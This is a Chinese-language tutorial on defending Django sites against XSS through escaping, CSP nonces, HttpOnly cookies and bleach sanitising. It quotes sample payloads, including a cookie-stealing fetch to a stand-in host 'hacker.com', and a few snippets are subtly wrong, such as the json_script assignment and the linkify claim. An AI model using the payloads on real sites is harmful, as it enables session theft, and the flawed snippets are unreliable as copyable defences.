03-6. XSS 防禦完整指南:輸出編碼、CSP、HttpOnly

完整的 XSS 防禦方法:Django 自動轉義、CSP、HttpOnly Cookie、安全編碼實踐

03-6. XSS 防禦完整指南:輸出編碼、CSP、HttpOnly

⏱️ 閱讀時間: 15 分鐘 🎯 難度: ⭐⭐ (中等) ⚠️ 重要: 本篇是 XSS 系列最重要的一篇!


🎯 本篇重點

學習如何完全防禦 XSS:輸出編碼(HTML Escape)、Django Template 自動轉義、CSP(Content Security Policy)、HttpOnly Cookie,以及完整的安全檢查清單。


🛡️ 防禦的核心原則

黃金法則

永遠不要信任用戶輸入!
所有輸出到 HTML 的內容都必須編碼(Escape)

為什麼需要輸出編碼?

沒有編碼(危險):
用戶輸入:<script>alert('XSS')</script>
HTML 輸出:<div><script>alert('XSS')</script></div>
結果:JavaScript 被執行

有編碼(安全):
用戶輸入:<script>alert('XSS')</script>
HTML 輸出:<div>&lt;script&gt;alert('XSS')&lt;/script&gt;</div>
結果:顯示為純文字,不執行

關鍵:
< 變成 &lt;
> 變成 &gt;
瀏覽器會把 &lt; 顯示為 <,但不會當成 HTML 標籤

1️⃣ 輸出編碼(Output Encoding)

HTML 實體編碼

特殊字元 → HTML 實體

< → &lt;
> → &gt;
& → &amp;
" → &quot;
' → &#x27;
/ → &#x2F;

Python 手動編碼

import html

# ✅ 手動編碼
def escape_html(text):
    return html.escape(text)

# 測試:
user_input = "<script>alert('XSS')</script>"
safe_output = escape_html(user_input)
print(safe_output)
# 輸出:&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;

# HTML 顯示:<script>alert('XSS')</script>(純文字)
# 不會執行 JavaScript

Django 自動轉義(推薦!)

# ✅ Django Template 自動轉義(預設開啟)
from django.shortcuts import render

def show_comment(request):
    comment = "<script>alert('XSS')</script>"
    return render(request, 'comment.html', {'comment': comment})

# template: comment.html
<div>{{ comment }}</div>

# 實際輸出:
<div>&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</div>

# 顯示:<script>alert('XSS')</script>(純文字)
# 安全!不會執行

危險的 safe 標籤

# ❌ 危險:使用 |safe 關閉自動轉義
def show_comment(request):
    comment = "<script>alert('XSS')</script>"
    return render(request, 'comment.html', {'comment': comment})

# template: comment.html
<div>{{ comment|safe }}</div>
                  
              告訴 Django 不要轉義

# 實際輸出:
<div><script>alert('XSS')</script></div>

# 結果:JavaScript 被執行!危險!

何時可以使用 safe?

# ✅ 只有在完全確定內容安全時才使用

# 範例 1:你自己生成的 HTML
def show_article(request):
    # 這是你在後端生成的,不是用戶輸入
    content = "<p>這是文章內容</p><ul><li>項目 1</li><li>項目 2</li></ul>"
    return render(request, 'article.html', {'content': content})

# template.html
{{ content|safe }}  # 安全,因為內容來自可信來源

# 範例 2:已經清理過的 HTML
from bleach import clean

def show_user_post(request):
    user_html = request.POST.get('content')
    # 使用 bleach 清理,只保留安全標籤
    safe_html = clean(user_html, tags=['p', 'b', 'i', 'u'], strip=True)
    return render(request, 'post.html', {'content': safe_html})

# template.html
{{ content|safe }}  # 安全,因為已經清理過

2️⃣ Django Template 最佳實踐

✅ 安全模式(預設)

# Django Template 預設開啟自動轉義

# views.py
def show_profile(request):
    username = request.GET.get('name', '')
    bio = request.GET.get('bio', '')
    return render(request, 'profile.html', {
        'username': username,
        'bio': bio
    })

# template: profile.html
<h1>用戶名{{ username }}</h1>
<p>個人簡介{{ bio }}</p>

# 所有變數都會自動轉義,安全!

不同上下文的編碼

<!-- 1. HTML 內容上下文 -->
<div>{{ user_input }}</div>
<!-- Django 自動 HTML 編碼,安全 -->

<!-- 2. HTML 屬性上下文 -->
<input type="text" value="{{ user_input }}">
<!-- Django 自動編碼,安全 -->

<!-- 3. JavaScript 上下文(危險!) -->
<script>
    var username = "{{ user_input }}";  // ❌ 危險!
</script>

<!-- 如果 user_input = "; alert('XSS'); " -->
<!-- 結果:var username = ""; alert('XSS'); ""; -->
<!-- JavaScript 被執行! -->

<!-- ✅ 正確做法:使用 JSON -->
<script>
    var username = {{ username|json_script:"username-data" }};
</script>

<!-- 或使用 data 屬性 -->
<div id="app" data-username="{{ user_input }}"></div>
<script>
    var username = document.getElementById('app').dataset.username;
</script>

escapejs 過濾器

<!-- ✅ 在 JavaScript 字串中安全使用 -->
<script>
    var message = "{{ user_input|escapejs }}";
</script>

<!-- 範例: -->
<!-- user_input = Hello "World" -->
<!-- 輸出:var message = "Hello \"World\""; -->

<!-- user_input = </script><script>alert('XSS')</script> -->
<!-- 輸出:var message = "\u003C/script\u003E\u003Cscript\u003Ealert('XSS')\u003C/script\u003E"; -->
<!-- 安全!不會執行 -->

完整範例

# views.py
from django.shortcuts import render
from django.core.serializers.json import DjangoJSONEncoder
import json

def user_profile(request):
    user_data = {
        'username': request.GET.get('name', ''),
        'bio': request.GET.get('bio', ''),
        'tags': ['python', 'django', 'security']
    }

    # 方法 1:傳遞給 template
    return render(request, 'profile.html', {
        'user_data': user_data,
        'user_data_json': json.dumps(user_data, cls=DjangoJSONEncoder)
    })
<!-- template: profile.html -->
<!DOCTYPE html>
<html>
<head>
    <title>用戶檔案</title>
</head>
<body>
    <!-- 方法 1:HTML 內容(自動轉義) -->
    <h1>{{ user_data.username }}</h1>
    <p>{{ user_data.bio }}</p>

    <!-- 方法 2:傳遞給 JavaScript -->
    <script>
        // ✅ 安全:使用 JSON
        const userData = JSON.parse('{{ user_data_json|escapejs }}');
        console.log(userData);
    </script>

    <!-- 方法 3:使用 json_script(Django 2.1+) -->
    {{ user_data|json_script:"user-data" }}
    <script>
        const userData = JSON.parse(
            document.getElementById('user-data').textContent
        );
        console.log(userData);
    </script>

    <!-- 方法 4:使用 data 屬性 -->
    <div id="app"
         data-username="{{ user_data.username }}"
         data-bio="{{ user_data.bio }}">
    </div>
    <script>
        const app = document.getElementById('app');
        const username = app.dataset.username;  // 安全
        const bio = app.dataset.bio;  // 安全
    </script>
</body>
</html>

3️⃣ CSP(Content Security Policy)

什麼是 CSP?

CSP = 一個 HTTP Header,告訴瀏覽器只允許執行來自特定來源的 JavaScript

沒有 CSP:
瀏覽器執行所有 JavaScript(包含注入的惡意代碼)

有 CSP:
瀏覽器只執行符合規則的 JavaScript
注入的惡意代碼被阻擋

CSP 原理

比喻:白名單制度

沒有白名單:
任何人都能進入建築物(包含小偷)

有白名單:
只有白名單上的人能進入
小偷被保全擋在門外

CSP = JavaScript 的白名單
只允許來自信任來源的 JavaScript 執行

Django 設定 CSP

# 安裝 django-csp
pip install django-csp

# settings.py
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'csp.middleware.CSPMiddleware',  # 加入 CSP Middleware
    # ... 其他 Middleware
]

# CSP 設定
CSP_DEFAULT_SRC = ("'self'",)  # 預設只允許同源
CSP_SCRIPT_SRC = ("'self'", 'https://cdn.example.com')  # JavaScript 來源
CSP_STYLE_SRC = ("'self'", 'https://fonts.googleapis.com')  # CSS 來源
CSP_IMG_SRC = ("'self'", 'data:', 'https:')  # 圖片來源
CSP_FONT_SRC = ("'self'", 'https://fonts.gstatic.com')  # 字型來源

# 回報違規
CSP_REPORT_URI = '/csp-report/'  # 違規回報端點

CSP 指令說明

常用指令:

default-src 'self'
  → 預設只允許同源

script-src 'self' https://cdn.example.com
  → JavaScript 只能來自本站和 cdn.example.com

script-src 'nonce-{random}'
  → 只允許有特定 nonce 的 <script>

script-src 'strict-dynamic'
  → 信任動態載入的 JavaScript

style-src 'self' 'unsafe-inline'
  → CSS 允許 inline(不建議)

img-src 'self' data: https:
  → 圖片允許同源、data URI、所有 HTTPS

connect-src 'self'
  → AJAX/WebSocket 只能連到同源

frame-src 'none'
  → 禁止 <iframe>

upgrade-insecure-requests
  → 自動升級 HTTP 到 HTTPS

使用 nonce(推薦)

# views.py
import secrets

def my_view(request):
    # 生成隨機 nonce
    nonce = secrets.token_urlsafe(16)

    # 設定 CSP(使用 nonce)
    response = render(request, 'page.html', {'csp_nonce': nonce})
    response['Content-Security-Policy'] = f"script-src 'nonce-{nonce}'"
    return response
<!-- template: page.html -->
<!DOCTYPE html>
<html>
<head>
    <title>安全頁面</title>
</head>
<body>
    <!-- ✅ 允許:有正確的 nonce -->
    <script nonce="{{ csp_nonce }}">
        console.log('這段 JavaScript 會執行');
    </script>

    <!-- ❌ 被阻擋:沒有 nonce -->
    <script>
        alert('這段會被 CSP 阻擋');
    </script>

    <!-- ❌ 被阻擋:即使注入也無法執行 -->
    <!-- 如果頁面有 XSS 漏洞,注入的代碼也會被阻擋 -->
</body>
</html>

CSP 等級

# 寬鬆(不建議,幾乎沒有保護)
CSP_DEFAULT_SRC = ("'self'", "'unsafe-inline'", "'unsafe-eval'")

# 中等(基本保護)
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'", 'https://cdn.example.com')
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")  # CSS 允許 inline

# 嚴格(強保護,推薦)
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'nonce-{NONCE}'", "'strict-dynamic'")
CSP_STYLE_SRC = ("'nonce-{NONCE}'",)
CSP_IMG_SRC = ("'self'", 'data:', 'https:')
CSP_CONNECT_SRC = ("'self'",)
CSP_FONT_SRC = ("'self'",)

什麼是 HttpOnly?

HttpOnly = 一個 Cookie 屬性,防止 JavaScript 讀取 Cookie

// 沒有 HttpOnly:
console.log(document.cookie);
// 輸出:sessionid=abc123; username=john

// 有 HttpOnly:
console.log(document.cookie);
// 輸出:(空字串或其他非 HttpOnly 的 Cookie)
// sessionid 無法被 JavaScript 讀取

為什麼重要?

XSS 攻擊的主要目標:竊取 Cookie

沒有 HttpOnly:
<script>
  fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
→ Session Cookie 被竊取
→ 駭客可以冒充用戶登入

有 HttpOnly:
<script>
  fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
→ document.cookie 讀不到 Session Cookie
→ 攻擊失敗

HttpOnly = XSS 的第二道防線
即使有 XSS 漏洞,也無法竊取 Session

Django 設定 HttpOnly

# settings.py

# Session Cookie 設為 HttpOnly(預設已開啟)
SESSION_COOKIE_HTTPONLY = True

# CSRF Cookie 設為 HttpOnly
CSRF_COOKIE_HTTPONLY = True

# 強制 HTTPS
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True

# SameSite 屬性(防禦 CSRF)
SESSION_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_SAMESITE = 'Lax'
from django.http import HttpResponse

def set_cookie(request):
    response = HttpResponse("Cookie 已設定")

    # ✅ 安全:設定 HttpOnly 和 Secure
    response.set_cookie(
        'user_token',
        'abc123',
        httponly=True,  # 防止 JavaScript 讀取
        secure=True,    # 只能透過 HTTPS 傳輸
        samesite='Lax'  # 防禦 CSRF
    )

    return response

5️⃣ 輸入驗證(縱深防禦)

白名單驗證

from django import forms
from django.core.validators import RegexValidator

# ✅ 使用 Django Form 驗證
class CommentForm(forms.Form):
    content = forms.CharField(
        max_length=1000,
        min_length=1,
        widget=forms.Textarea,
        validators=[
            # 禁止 <script> 標籤
            RegexValidator(
                regex=r'<script',
                message='不允許 script 標籤',
                inverse_match=True,  # 反向匹配(不符合時通過)
                flags=re.IGNORECASE
            )
        ]
    )

def add_comment(request):
    if request.method == 'POST':
        form = CommentForm(request.POST)

        if not form.is_valid():
            return JsonResponse({'error': form.errors}, status=400)

        content = form.cleaned_data['content']
        Comment.objects.create(content=content)
        return JsonResponse({'success': True})

使用 Bleach 清理 HTML

# 安裝 bleach
pip install bleach

import bleach

# ✅ 允許特定 HTML 標籤
def clean_user_html(html):
    # 只允許安全的標籤和屬性
    allowed_tags = ['p', 'b', 'i', 'u', 'em', 'strong', 'a', 'br']
    allowed_attributes = {
        'a': ['href', 'title']
    }

    # 清理 HTML
    clean_html = bleach.clean(
        html,
        tags=allowed_tags,
        attributes=allowed_attributes,
        strip=True  # 移除不允許的標籤
    )

    # 清理連結(防止 javascript: 協議)
    clean_html = bleach.linkify(clean_html)

    return clean_html

# 使用:
def save_article(request):
    user_html = request.POST.get('content')

    # 清理 HTML
    safe_html = clean_user_html(user_html)

    # 儲存
    Article.objects.create(content=safe_html)

    return JsonResponse({'success': True})

6️⃣ 完整防禦策略

縱深防禦(Defense in Depth)

第 1 層:輸入驗證
├─ 長度限制
├─ 格式驗證
├─ 白名單驗證
└─ 使用 Django Form

第 2 層:輸出編碼(核心!)
├─ Django Template 自動轉義
├─ 避免使用 |safe
├─ 使用 escapejs
└─ 正確處理不同上下文

第 3 層:CSP
├─ 限制 JavaScript 來源
├─ 使用 nonce
├─ 禁止 inline JavaScript
└─ 回報違規

第 4 層:HttpOnly Cookie
├─ 防止 JavaScript 讀取 Cookie
├─ 即使有 XSS 也無法竊取 Session
└─ 第二道防線

第 5 層:其他安全 Header
├─ X-Content-Type-Options: nosniff
├─ X-Frame-Options: DENY
└─ Referrer-Policy

第 6 層:監控與日誌
├─ 記錄 CSP 違規
├─ 偵測異常模式
└─ 及時響應

Django 完整安全配置

# settings.py

# ============ 基本安全 ============
DEBUG = False  # 生產環境關閉 Debug
SECRET_KEY = os.environ.get('SECRET_KEY')  # 環境變數
ALLOWED_HOSTS = ['example.com', 'www.example.com']

# ============ HTTPS ============
SECURE_SSL_REDIRECT = True  # 強制 HTTPS
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')

# ============ Cookie 安全 ============
SESSION_COOKIE_SECURE = True  # Cookie 只能透過 HTTPS
SESSION_COOKIE_HTTPONLY = True  # 防止 JavaScript 讀取
SESSION_COOKIE_SAMESITE = 'Lax'  # 防禦 CSRF

CSRF_COOKIE_SECURE = True
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SAMESITE = 'Lax'

# ============ 安全 Headers ============
SECURE_CONTENT_TYPE_NOSNIFF = True  # 防止 MIME 類型嗅探
SECURE_BROWSER_XSS_FILTER = True  # 啟用瀏覽器 XSS 過濾
X_FRAME_OPTIONS = 'DENY'  # 防止 Clickjacking
SECURE_REFERRER_POLICY = 'same-origin'  # Referrer 政策

# HSTS(強制 HTTPS)
SECURE_HSTS_SECONDS = 31536000  # 1 年
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True

# ============ CSP ============
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'csp.middleware.CSPMiddleware',
    # ... 其他 Middleware
]

CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'",)
CSP_IMG_SRC = ("'self'", 'data:', 'https:')
CSP_FONT_SRC = ("'self'",)
CSP_CONNECT_SRC = ("'self'",)
CSP_FRAME_ANCESTORS = ("'none'",)
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)

# CSP 違規回報
CSP_REPORT_URI = '/csp-report/'
CSP_REPORT_ONLY = False  # False = 強制執行,True = 只回報

# ============ Template 設定 ============
TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'OPTIONS': {
            'autoescape': True,  # 確保自動轉義開啟(預設)
            # ...
        },
    },
]

7️⃣ 安全檢查清單

代碼層面

□ 所有用戶輸入都經過 Django Template 輸出(自動轉義)
□ 沒有使用 |safe(除非完全確定安全)
□ JavaScript 上下文使用 escapejs 或 JSON
□ 使用 Django Form 驗證輸入
□ 允許 HTML 時使用 bleach 清理
□ 沒有使用 innerHTML(使用 textContent)
□ 沒有使用 eval()、setTimeout(string)

配置層面

□ DEBUG = False(生產環境)
□ CSP 已啟用並正確配置
□ SESSION_COOKIE_HTTPONLY = True
□ SESSION_COOKIE_SECURE = True
□ CSRF_COOKIE_HTTPONLY = True
□ X_FRAME_OPTIONS = 'DENY'
□ SECURE_CONTENT_TYPE_NOSNIFF = True
□ SECURE_SSL_REDIRECT = True
□ HSTS 已啟用

測試層面

□ 測試常見 XSS payload
□ 測試不同上下文(HTML、屬性、JavaScript)
□ 測試 CSP 是否生效
□ 測試 HttpOnly Cookie 無法被 JavaScript 讀取
□ 使用自動化工具掃描(OWASP ZAP)
□ 定期進行滲透測試

🎓 面試常考題

Q1:如何防禦 XSS?

A:核心是輸出編碼(HTML Escape)

Django 最佳實踐:

1. 使用 Django Template 自動轉義(第 1 層)
   {{ user_input }}  # 自動轉義,安全

2. 避免使用 |safe
   {{ user_input|safe }}  # 危險!只在完全確定安全時使用

3. JavaScript 上下文特殊處理
   <script>
       var data = {{ data|json_script:"data-id" }};
   </script>

4. 啟用 CSP(第 2 層)
   限制 JavaScript 來源
   使用 nonce 或 hash

5. 設定 HttpOnly Cookie(第 3 層)
   防止即使有 XSS 也無法竊取 Session

6. 輸入驗證(額外防護)
   使用 Django Form
   必要時使用 bleach 清理 HTML

縱深防禦:
輸出編碼(核心)+ CSP + HttpOnly + 輸入驗證

Q2:Django Template 自動轉義會處理所有情況嗎?

A:不會,JavaScript 上下文需要特殊處理

HTML 內容(✅ 自動轉義):
<div>{{ user_input }}</div>
→ 安全

HTML 屬性(✅ 自動轉義):
<input value="{{ user_input }}">
→ 安全

JavaScript 上下文(❌ 自動轉義不夠):
<script>
    var data = "{{ user_input }}";
</script>
→ 如果 user_input = "; alert('XSS'); "
→ 結果:var data = ""; alert('XSS'); "";
→ 危險!

✅ 正確做法:
方法 1:使用 escapejs
<script>
    var data = "{{ user_input|escapejs }}";
</script>

方法 2:使用 JSON(推薦)
<script>
    var data = JSON.parse('{{ data_json|escapejs }}');
</script>

方法 3:使用 json_script
{{ data|json_script:"data-id" }}
<script>
    var data = JSON.parse(
        document.getElementById('data-id').textContent
    );
</script>

結論:
不同上下文需要不同的編碼方式
HTML 內容和屬性:自動轉義即可
JavaScript:需要 escapejs 或 JSON

Q3:CSP 如何防禦 XSS?

A:限制 JavaScript 的來源和執行

原理:
瀏覽器只執行符合 CSP 規則的 JavaScript
注入的惡意代碼會被阻擋

範例:
CSP: script-src 'self'
→ 只允許來自同源的 JavaScript

如果頁面有 XSS 漏洞:
<script>alert('XSS')</script>
→ 被 CSP 阻擋(inline script)

更嚴格的 CSP(使用 nonce):
CSP: script-src 'nonce-random123'

允許:
<script nonce="random123">...</script>

阻擋:
<script>alert('XSS')</script>  # 沒有 nonce
<script nonce="wrong">...</script>  # nonce 錯誤

即使注入也無法執行:
攻擊者不知道 nonce(每次請求都不同)
注入的 <script> 沒有正確的 nonce
被 CSP 阻擋

CSP = XSS 的第二道防線
輸出編碼(第一道)失敗時
CSP 仍能阻擋攻擊

💡 實戰範例:重構不安全代碼

範例 1:留言板

# ❌ 不安全版本
def show_comments(request):
    comments = Comment.objects.all()
    return render(request, 'comments.html', {'comments': comments})

# template: comments.html
{% for comment in comments %}
    <div>{{ comment.content|safe }}</div>   危險
{% endfor %}

# ✅ 安全版本
def show_comments(request):
    comments = Comment.objects.all()
    return render(request, 'comments.html', {'comments': comments})

# template: comments.html
{% for comment in comments %}
    <div>{{ comment.content }}</div>   自動轉義
{% endfor %}

# 如果需要允許部分 HTML:
import bleach

def add_comment(request):
    content = request.POST.get('content')

    # 清理 HTML,只保留安全標籤
    safe_content = bleach.clean(
        content,
        tags=['p', 'b', 'i', 'u', 'a'],
        attributes={'a': ['href']},
        strip=True
    )

    Comment.objects.create(content=safe_content)
    return JsonResponse({'success': True})

# template: comments.html
{% for comment in comments %}
    <div>{{ comment.content|safe }}</div>   已清理安全
{% endfor %}

範例 2:搜尋結果

# ❌ 不安全版本
def search(request):
    query = request.GET.get('q', '')
    results = Product.objects.filter(name__icontains=query)

    # 直接拼接 HTML
    html = f"<h1>搜尋:{query}</h1>"
    html += "<ul>"
    for product in results:
        html += f"<li>{product.name}</li>"
    html += "</ul>"

    return HttpResponse(html)

# ✅ 安全版本
def search(request):
    query = request.GET.get('q', '')
    results = Product.objects.filter(name__icontains=query)

    # 使用 Template(自動轉義)
    return render(request, 'search.html', {
        'query': query,
        'results': results
    })

# template: search.html
<h1>搜尋{{ query }}</h1>   自動轉義
<ul>
{% for product in results %}
    <li>{{ product.name }}</li>   自動轉義
{% endfor %}
</ul>

✅ 重點回顧

核心防禦:輸出編碼(HTML Escape)

  • ✅ 將特殊字元轉換為 HTML 實體
  • ✅ < 變成 <,> 變成 >
  • ✅ 瀏覽器顯示為文字,不執行

Django 最佳實踐:

  • 🥇 第一選擇:Django Template 自動轉義
  • 避免使用:|safe(除非完全確定安全)
  • 🔧 JavaScript 上下文:使用 escapejs 或 JSON

縱深防禦:

  1. 輸出編碼(核心,第一道防線)
  2. CSP(限制 JavaScript 來源)
  3. HttpOnly Cookie(防止竊取 Session)
  4. 輸入驗證(額外防護)
  5. 安全 Headers(X-Frame-Options、HSTS)

安全檢查清單:

  • □ 使用 Django Template 自動轉義
  • □ 避免 |safe
  • □ 啟用 CSP
  • □ HttpOnly Cookie
  • □ DEBUG = False
  • □ 定期掃描(OWASP ZAP)

記憶口訣: 「碼策庫監」= 輸出編碼、CSP、HttpOnly Cookie、監控

恭喜你完成 XSS 核心內容! → 03-1 基礎:理解攻擊 → 03-6 防禦:保護系統


上一篇: 03-1. XSS 基礎 下一篇: 05-1. CSRF 基礎


最後更新:2025-01-16

0%